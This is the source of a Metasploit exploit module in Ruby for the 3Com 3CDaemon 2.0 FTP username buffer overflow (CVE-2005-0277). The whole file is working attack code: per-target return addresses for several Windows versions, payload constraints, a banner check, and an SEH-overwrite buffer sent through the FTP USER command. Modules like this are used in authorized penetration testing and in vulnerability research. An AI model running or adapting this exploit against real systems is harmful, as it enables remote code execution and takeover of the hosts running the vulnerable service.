Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Ftp

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',

                        'Description'    => %q{

                                        This module exploits a vulnerability in the 3Com 3CDaemon

                                FTP service. This package is being distributed from the 3Com

                                web site and is recommended in numerous support documents.

                                This module uses the USER command to trigger the overflow.

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-0277'],

                                        [ 'OSVDB', '12810'],

                                        [ 'OSVDB', '12811'],

                                        [ 'BID', '12155'],

                                        [ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],

                                ],

                        'Privileged'     => false,

                        'Payload'        =>

                                {

                                        'Space'    => 674,

                                        'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",

                                        'StackAdjustment' => -3500,

                                        'Compat'   =>

                                                {

                                                        'ConnectionType' => "-find"

                                                }

                                },

                        'Targets'        =>

                                [

                                        [

                                                'Windows 2000 English', # Tested OK - hdm 11/24/2005

                                                {

                                                        'Platform' => 'win',

                                                        'Ret'      => 0x75022ac4, # ws2help.dll

                                                },

                                        ],

                                        [

                                                'Windows XP English SP0/SP1',

                                                {

                                                        'Platform' => 'win',

                                                        'Ret'      => 0x71aa32ad, # ws2help.dll

                                                },

                                        ],

                                        [

                                                'Windows NT 4.0 SP4/SP5/SP6',

                                                {

                                                        'Platform' => 'win',

                                                        'Ret'      => 0x77681799, # ws2help.dll

                                                },

                                        ],

                                        [

                                                'Windows 2000 Pro SP4 French',

                                                {

                                                        'Platform' => 'win',

                                                        'Ret' => 0x775F29D0,

                                                },

                                        ],

                                ],

                        'DisclosureDate' => 'Jan 4 2005'))

        end

        def check

                connect

                disconnect

                if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)

                        return Exploit::CheckCode::Vulnerable

                end

                return Exploit::CheckCode::Safe

        end

        def exploit

                connect

                print_status("Trying target #{target.name}...")

                buf          = rand_text_english(2048, payload_badchars)

                seh          = generate_seh_payload(target.ret)

                buf[229, seh.length] = seh

                send_cmd( ['USER', buf] , false )

                handler

                disconnect

        end

end